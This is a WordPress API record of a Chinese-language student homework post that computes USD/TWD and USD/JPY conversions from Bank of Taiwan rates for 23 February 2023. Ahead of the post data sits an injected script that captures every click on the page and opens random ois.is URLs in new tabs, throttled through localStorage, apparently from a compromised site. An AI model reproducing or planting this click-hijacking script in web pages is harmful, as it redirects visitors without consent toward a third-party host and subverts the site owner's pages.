<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":967,"date":"2023-03-08T14:28:01","date_gmt":"2023-03-08T06:28:01","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154201\/?p=967"},"modified":"2023-03-08T14:34:13","modified_gmt":"2023-03-08T06:34:13","slug":"%e4%bd%9c%e6%a5%ad%e4%ba%8c","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154201\/?p=967","title":{"rendered":"\u4f5c\u696d\u4e8c"},"content":{"rendered":"<div dir=\"auto\">1. \u5b8c\u6210\u6b61\u8fce\u8a8d\u8b58\u3001\u6211\u7684\u793e\u5718\u8207\u6d3b\u52d5\u5e73\u53f0\uff0c\u7684\u5167\u5bb9\u8207\u6a19\u984c\u7b49\u3002<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">\u5df2\u5b8c\u6210\u65bc\u500b\u4eba\u5e73\u53f0\u4e0a\u3002<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/div>\n<div dir=\"auto\">2. \u6839\u64da\u53f0\u7063\u9280\u884c\u7db2\u7ad9\u5831\u50f9\uff0c\u516c\u53f8\u6709\u4e00\u7b46 100 \u842c\u7f8e\u91d1\u61c9\u6536\u6b3e\uff0c\u8acb\u554f\u4e0d\u8003\u616e\u4ea4\u6613\u6210\u672c\u5728 2\/23 \u503c\u591a\u5c11\u65b0\u53f0\u5e63? \u8acb\u622a\u5716\u5176\u5831\u50f9\u8cc7\u8a0a\u4e14\u8aaa\u660e\u3002<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\"><img loading=\"lazy\" class=\"alignnone size-large wp-image-969\" src=\"https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-USD-TWD-800x63.png\" alt=\"\" width=\"750\" height=\"59\" srcset=\"https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-USD-TWD-800x63.png 800w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-USD-TWD-300x24.png 300w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-USD-TWD-768x61.png 768w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-USD-TWD-1536x121.png 1536w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-USD-TWD.png 1789w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/div>\n<div dir=\"auto\">\u516c\u53f8\u7684\u61c9\u6536\u5e33\u6b3e\u61c9\u70ba\u5373\u671f\u532f\u7387\u7684\u300c\u672c\u884c\u8cb7\u5165\u300d30.35\uff0c\u7531\u65bc\u516c\u53f8\u60f3\u8981\u5c07\u7f8e\u5143\u63db\u6210\u65b0\u53f0\u5e63\uff0c\u516c\u53f8\u9700\u8ce3\u51fa\u7f8e\u5143\uff0c\u800c\u5c0d\u9280\u884c\u4f86\u8aaa\u5247\u70ba\u672c\u884c\u8cb7\u5165\u3002<\/div>\n<div dir=\"auto\">100\u842c\u7f8e\u5143*30.35=3035\u842c\u65b0\u53f0\u5e63<\/div>\n<div dir=\"auto\">\u5728\u4e0d\u8003\u616e\u4ea4\u6613\u6210\u672c\u4e0b\uff0c\u57282\/23\u503c<strong>3035\u842c\u65b0\u53f0\u5e63<\/strong>\u3002<\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">\u53c3\u8003\u8cc7\u6599\uff1a<a href=\"https:\/\/rate.bot.com.tw\/xrt\/all\/2023-02-23\">https:\/\/rate.bot.com.tw\/xrt\/all\/2023-02-23<\/a><\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/div>\n<div dir=\"auto\">3. \u6839\u64da\u524d\u8ff0 2 \u7684\u7db2\u7ad9\uff0cUSD\/TWD \u8207 JPY\/TWD\uff0c\u8a08\u7b97\u51fa USD\/JPY \u7684 bid \u50f9\u683c(\u8981\u5c07\u5831\u50f9\u622a\u5716\u9644\u4e0a)\uff0c\u8aaa\u660e\u8a08\u7b97\u904e\u7a0b\u3002<\/div>\n<div dir=\"auto\"><img loading=\"lazy\" class=\"alignnone size-large wp-image-968\" src=\"https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-JPY-TWD-800x197.png\" alt=\"\" width=\"750\" height=\"185\" srcset=\"https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-JPY-TWD-800x197.png 800w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-JPY-TWD-300x74.png 300w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-JPY-TWD-768x190.png 768w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-JPY-TWD-1536x379.png 1536w, https:\/\/edu.secda.info\/scu8154201\/wp-content\/uploads\/2023\/03\/223-JPY-TWD.png 1791w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/div>\n<div dir=\"auto\">\u5148\u8ce3\u51fa1\u7f8e\u5143\u63db\u53d630.35\u65b0\u53f0\u5e63\uff0c\u518d\u4ee530.35\u65b0\u53f0\u5e63\u63db\u6210\u7b49\u503c\u65e5\u5e63\u3002<\/div>\n<div dir=\"auto\">USD\/TWD bid\uff1a30.35<\/div>\n<div dir=\"auto\">JPY\/TWD\u00a0 bid\uff1a0.2234<\/div>\n<div dir=\"auto\">\u8a08\u7b97\u904e\u7a0b\uff1a<\/div>\n<div dir=\"auto\">USD\/JPY 30.35*(1\/0.2234)=<strong>135.8549687<\/strong><\/div>\n<div dir=\"auto\"><\/div>\n<div dir=\"auto\">\u53c3\u8003\u8cc7\u6599\uff1a<a href=\"https:\/\/rate.bot.com.tw\/xrt\/all\/2023-02-23\">https:\/\/rate.bot.com.tw\/xrt\/all\/2023-02-23<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>1. \u5b8c\u6210\u6b61\u8fce\u8a8d\u8b58\u3001\u6211\u7684\u793e\u5718\u8207\u6d3b\u52d5\u5e73\u53f0\uff0c\u7684\u5167\u5bb9\u8207\u6a19\u984c\u7b49\u3002 \u5df2\u5b8c\u6210\u65bc\u500b\u4eba\u5e73\u53f0\u4e0a\u3002 <\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,3],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/967"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=967"}],"version-history":[{"count":3,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/967\/revisions"}],"predecessor-version":[{"id":973,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=\/wp\/v2\/posts\/967\/revisions\/973"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=967"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=967"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154201\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=967"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}